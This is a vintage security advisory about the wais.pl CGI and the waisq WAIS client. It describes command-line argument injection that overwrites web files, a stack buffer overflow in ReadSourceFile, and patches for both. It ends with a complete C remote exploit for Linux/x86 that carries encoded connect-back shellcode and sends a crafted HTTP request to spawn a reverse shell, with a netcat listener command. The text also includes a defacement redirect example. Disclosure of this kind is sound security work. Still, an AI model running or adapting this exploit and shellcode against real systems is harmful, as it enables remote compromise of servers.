The wais.pl CGI written by Tony Sanders provides means to access the waisq WAIS client via the webserver. Waisq contains buffer overflows allowing remote code execution which can be exploited via wais.pl. In addition, files owned by nobody on the webserver can be overwritten with arbitrary content. Includes exploit for Linux/x86.
0a1486af2061c3b2f7952eb470c47fcbf6d3d36571a036f046ae5709356c58d1
**********************************************
+ Wais.pl parameter passing security problem +
**********************************************
# Another fine advisory by Scrippie #
|============================================|
* Cheers to: zsh, Synnergy, phreak.nl *
| Lots of Love to: Maja, Hester |
##############################################
---[ The CGI ]---
The wais.pl CGI written by Tony Sanders <sanders@bsdi.com> provides means to
access the waisq WAIS client via the webserver.
---[ The Source ]---
First of all I will show you a bit of offending code in wais.pl:
open(WAISQ, "-|") || exec ($waisq, "-c", $waisd,
"-f", "-", "-S", "$src.src", "-g", @query);
Since WAISQ is opened like this, silly stuff like shell characters will not
work, we can, however, write extra command line parameters to waisq in our
query array. This can be done because the information we provide the CGI is
passed to exec($waisq) as an array, which perl expands to command line
parameters to the called program. If a scalar would have been used, this
wouldn't be the case.
It seems that waisq allows us to specify a file that contains a WAIS question
by using the -f parameter. One of the strange things is that waisq seems to
do the following:
if(dosearch == TRUE) {
SearchWais(question);
if((qfilename == NULL) || (strcmp(qfilename, "-") == 0))
WriteQuestionfp(stdout, question);
else
WriteQuestion(qfilename, question);
So, waisq does not only read it's question from the file, but will also write
the question to the same file, effectively ruining any older contents.
Back to the perl source:
@query contains our optional search keywords, which we can fill in ourselves.
This means we can write a bunch of mess and our own string to any file owned
by the uid the webserver runs CGI scripts with (the file must exist).
---[ They call me the Wild Rose ]---
Suppose we do something like:
echo "Thanks for all the fish" > test.htm
cat test.htm
-> Thanks for all the fish
wais.pl -f test.htm "Elisa Day"
cat test.htm
We'll get the following:
(:question
:version 2
:seed-words "Elisa Day "
:relevant-documents
( )
:sourcepath "/root/wais-sources/:./"
:sources
( (:source-id
:filename "www.src"
)
)
:maximum-results 40
:result-documents
( )
Not good eh?
HTML tags are as easily submitted in this manner as regular text is.
We could do something like:
wais.pl -f t.html -g `printf "<HTML> <BODY> <H1> Test </H1><X> </BODY> </HTML>
<\x21--" `
Of course, while using wais.pl via the browser we should convert our tags to
the %ascii notation.
Sadly, we still get the:
(:question
:version 2
:seed-words
lines that ruin our nice deface...
But wait, something like:
<META HTTP-EQUIV=Refresh CONTENT=0;URL=https://www.goatse.cx>
Will redirect us immediatly to our favourite clan of the goat site.
Ah, this seems somewhat better, if we know the absolute path of index.html we
could deface the server without ever being on the box...
---[ It's getting better (all the time)]---
Well, the previously described problem doesn't seem to scary, since most files
aren't writeable by user nobody and the nasty header is in the way and any
webmaster chowning his pages to "nobody" should have his head examined.
More interesting is the fact that the waisq client contains a buffer overflow
in the following piece of code:
Boolean ReadSourceFile(asource, filename, directory)
Source asource;
char *filename, *directory;
{
FILE *fp;
char pathname[MAX_FILENAME_LEN+1];
Boolean result;
strncpy(pathname, directory, MAX_FILENAME_LEN);
strncat(pathname, filename, MAX_FILENAME_LEN);
<snip>
Both "directory" and "filename" is input provided by the user to waisq by
the command line parameters "-s" and "-t". MAX_FILENAME_LEN is defined as
255 bytes in "cutil.h". We can clearly see that our target buffer can be
overflown by 254 bytes.
For the remote overflow I choose to combine the injection vector and the
payload (a bad choice as it turned out, but it worked), they are delicatly
intertwined in the exploit. The first buffer is used as the "NOP sled" buffer
while the second one contains the payload (which may not contain a lot of
metacharacters, I used smegma_v0.5 - written by me - to get rid of them). We
can also see that 4 bytes of our buffer get ruined, because somewhat later in
the code the FILE* fp is filled in - I joined the two buffer together by
jumping a few bytes forward at the end of "pathname" using 0xeb 0x08 and some
NOPS (it can also be done using 0xeb 0x04, but I used a few NOPS to provide
some more "space" for this little trick).
The final exploit is included at the end of this article.
---[ The patches ]---
I included the patches for completeness sake, they are so trivial anyone will
probably hand-code them before reverting to use these.
The patch for waisq
===================
--- source.old.c Sun Aug 13 23:41:40 2000
+++ source.c Sun Aug 13 23:41:57 2000
@@ -328,7 +328,7 @@
char *filename, *directory;
{
FILE *fp;
- char pathname[MAX_FILENAME_LEN+1];
+ char pathname[MAX_FILENAME_LEN*2+1];
Boolean result;
strncpy(pathname, directory, MAX_FILENAME_LEN);
The patch for wais.pl
=====================
--- wais.old.pl Sun Aug 13 23:46:51 2000
+++ wais.pl Sun Aug 13 23:47:21 2000
@@ -37,7 +37,7 @@
print "Content-type: text/html\n\n";
open(WAISQ, "-|") || exec ($waisq, "-c", $waisd,
- "-f", "-", "-S", "$src.src", "-g", @query);
+ "-f", "-", "-S", "$src.src", "-g", $pquery);
print "<HEAD>\n<TITLE>Search of ", $title, "</TITLE>\n</HEAD>\n";
print "<BODY>\n<H1>", $title, "</H1>\n";
---[ Conclusion ]---
People should not only be worrying about escaping all the shell characters, but
also about command line parameters one might pass to the CGI.
- will be a nice addition to the standard bunch of shell characters to escape
when coding a CGI. So far so good, one of the last NCSA CGI scripts has been
found to be vulnerable to attack, I had a lot of fun with it.
Cheers and take care!
Scrippie - ronald@grafix.nl
---[ Added remote exploit for Linux ]---
/*
OnWaisKlote.c - NCSA wais.pl + waisq remote overflow - by Scrippie
This program is meant as a PoC exploit - I don't think anyone will
go and find a Linux machine running the wais.pl CGI and the waisq
backend client at the same time.
However, there are enough SunOS@Sparcs out there which do.
Thanx to dvorak for pointing out this smash after I located the formatting
problem in wais.pl
The shellcode makes a connetion to the given IP and spawns a shell on port
27002. It's recommended to have a listening netcat ready on this port.
Ie. do a "nc -l -p 27002" on your machine, and run the exploit on the target
If everything works out, it'll connect and spawn a shell.
Shouts go out to:
sk8, JimJones, ragnarok, f0bic, dvorak, guidob, dethy, dugo,
ratcorpse, futant, and everyone on #!/bin/zsh I haven't mentioned
mixter, Lamagra, prizm-, slash, cruci, {}, and all ex-b0f people
#hit2000, #phreak.nl, #linuxasm and of course Synnergy.net
Big fuck to:
#hax - Skill will never make up for arrogance and basic unfriendliness
flyahh - For being the biggest script-kid I know
Love to:
Maja (I can't explain how happy I am now you're coming to the
Netherlands)
Hester (you're my dearest friend)
-- Scrippie/ronald@grafix.nl
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#define FORBIDDEN "\x00\x09\x0b\x0c\r\n{};<>\\^()*[]$`&#~|\""
#define SZ_SOURCEBUF 256
#define SZ_FILEBUF 256
#define RETADDY 0xbffff910 /* Works on my cute `lil box */
int wwwconnect(unsigned long ip);
int ICinInt(long, char *, size_t);
char *buildOverflow(unsigned long, unsigned int);
void *xmalloc(size_t);
/*
Shellcode written by: Scrippie :)
Smegma v0.5 ridded this shellcode of the following characters:
"\x00\x09\x0b\x0c\r\n{};<>\\^()*[]$`&#~|\""
For this purpose a xor mask of 0x92011e11 was brute forced
*/
char hellcode[] =
"\xeb\x14\x58\x89\xc6\x31\xc9\xb1\x25\x81\x36\x11\x1e\x01\x92\x83\xc6\x04\xe2"
"\xf5\xeb\x05\xe8\xe7\xff\xff\xff\xfa\x64\x5f\xa3\xd1\x2f\xda\xa3\xc3\xae\x67"
"\x21\x10\x93\x4f\x8e\xa3\x1f\x88\xc4\x31\xac\x07\x1b\x47\x3a\xb3\x90\x98\x48"
"\x1d\x5f\x91\x97\x47\x8a\x98\x08\x67\x55\x57\x1c\x68\xe8\x98\x58\x1d\x1f\x17"
"\x97\x47\xb2\x91\xdc\x0f\x1b\x47\x3a\x30\x52\x15\x78\x81\x51\x13\x93\x4f\x8e"
"\xdc\x9e\x30\x52\x15\x21\x88\x50\x9a\x40\x19\xa3\xd8\xd3\x81\x1b\xc1\x5f\xcc"
"\x12\x98\xce\x40\x5f\x91\x2f\xc1\x1f\x6f\x11\x81\x53\x16\xed\xab\x96\x1a\x93"
"\x5f\x9a\x98\x40\x11\x1f\x5f\x0e\x30\x40\xdc\x9e\x30\x52\xef\xde\xcc\x12\xf9"
"\x9f\xfe\x6d\xee\x5f\x40\xd0\x53\xAA\xAA\xAA\xAA\x31\x63\xfb\x7f\x31\x72\xfa";
/* The IP address to connect to is gonna be at 0xAAAAAAAA */
/* Make sure it's encoded just as the shellcode is */
int main(int argc, char **argv)
{
char *iploc, *evilcode;
int sd, align=0;
unsigned long sip; /* IP to connect back to */
unsigned long dip; /* Target IP */
unsigned long retaddy=RETADDY; /* Default return address */
/* Whee, print the banner */
if(argc < 3) {
printf("OnWais Klote - Scrippie/Synnergy Networks\n");
printf("Use as: %s <target> <IP to connect back to> [ret addy] [align]\n",
argv[0]);
exit(0);
}
printf("******************************************************\n");
printf("+ OnWais Klote - Scrippie/Synnergy.net +\n");
printf("******************************************************\n");
/* I know inet_addr() is obsolete - too bad, you can't run this
program when you're on 255.255.255.255 - who is anyway? */
if((dip = inet_addr(argv[1])) == -1) {
printf("Error: Non valid IP address specified\n");
exit(-1);
}
if((sip = inet_addr(argv[2])) == -1) {
printf("Error: Non valid IP address specified\n");
exit(-1);
}
/* Use specified return address */
if(argc > 3) {
retaddy = strtoul(argv[3], NULL, 16);
}
printf("Return address : 0x%lx\n", retaddy);
/* Use specified alignment */
if(argc > 4) {
align = atoi(argv[4]);
}
printf("Alignment : %d\n", align);
printf("Target : %s\n\n", argv[1]);
/* We convert our IP to fit in the payload */
/* Think of this as a strange value? Think of the shellcode alignment */
sip ^= 0x1192011e;
/* Check if the given RETADDY won't ruin our payload */
if(ICinInt(retaddy, FORBIDDEN, sizeof(FORBIDDEN)-1)) {
printf("Error: Found illegal character in return address\n");
exit(0);
}
/* Check if the given IP won't ruin our shellcode */
if(ICinInt(sip, FORBIDDEN, sizeof(FORBIDDEN)-1)) {
printf("Error: Found illegal character in IP address\n");
exit(0);
}
/* Locate the IP position in the shellcode */
iploc=(char *)strchr(hellcode, 0xAA);
memcpy((void *) iploc, (void *) &sip, 4);
evilcode = buildOverflow(retaddy, align);
sd = wwwconnect(dip);
printf("Connected to %s\n", argv[1]);
printf("Proceeding to send evil code...\n");
send(sd, evilcode, strlen(evilcode), 0);
printf("Sent!\n");
return(0);
}
char *buildOverflow(unsigned long retaddy, unsigned int align)
{
char source[SZ_SOURCEBUF];
char *smash, *output;
int c;
smash = (char *)xmalloc(SZ_FILEBUF+align+1);
output = (char *)xmalloc(SZ_SOURCEBUF+SZ_FILEBUF+align+1);
for(c=0;c<SZ_SOURCEBUF-2;c++) source[c] = 0x90;
source[253] = 0xeb; /* Jump over few bytes between arrays on stack */
source[254] = 0x08;
source[255] = 0x00;
/*
Directory and Sourcename follow each other on stack closely
There are a few arbitrary bytes between them, therefore we
jump over them with 0xeb 0x08 and land somewhere in the given NOPS
*/
memset(smash, 0x90, 7+align);
/* Few nops on the stack - waisq ruins some bytes */
smash[7+align] = 0xeb; /* Jump over the EIP that we overflow */
smash[8+align] = 0x04; /* It's 4 bytes big */
/* Return address gets choked in here */
memcpy(smash+9+align, &retaddy, 4);
smash[13+align] = 0x00; /* strcat() needs the delimiter :) */
strcat(smash, hellcode); /* Copy the shellcode */
sprintf(output, "GET /cgi-bin/wais.pl?-s+%s+-t+%s HTTP/1.0\n\n",
source, smash); /* Stuff it all on the heap */
free(smash);
return(output); /* And return the pointer there */
}
/*
Connects to a webserver
"ip" is expected to be in network byte order
*/
int wwwconnect(unsigned long ip)
{
struct sockaddr_in sa; /* Sockaddr */
int sd; /* Socket Descriptor */
if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1);
}
memset(&sa, 0x00, sizeof(struct sockaddr_in));
sa.sin_port=htons(80);
sa.sin_addr.s_addr=ip;
if(connect(sd, &sa, sizeof(struct sockaddr_in)) == -1) {
perror("connect()");
exit(-1);
}
return(sd);
}
/*
This function checks for illegal bytes in "long" types
*/
int ICinInt(long s, char *forbidden, size_t fsize)
{
int i,j;
for(i=0;i<fsize;i++) {
for(j=0;j<sizeof(long);j++) {
if((char)(s >> j*8) == forbidden[i]) return(1);
}
}
return(0);
}
/*
Wrapper for malloc() that does error checking
*/
void *xmalloc(size_t size)
{
void *blah;
if((blah = malloc(size)) == NULL) {
perror("malloc()");
exit(-1);
}
return(blah);
}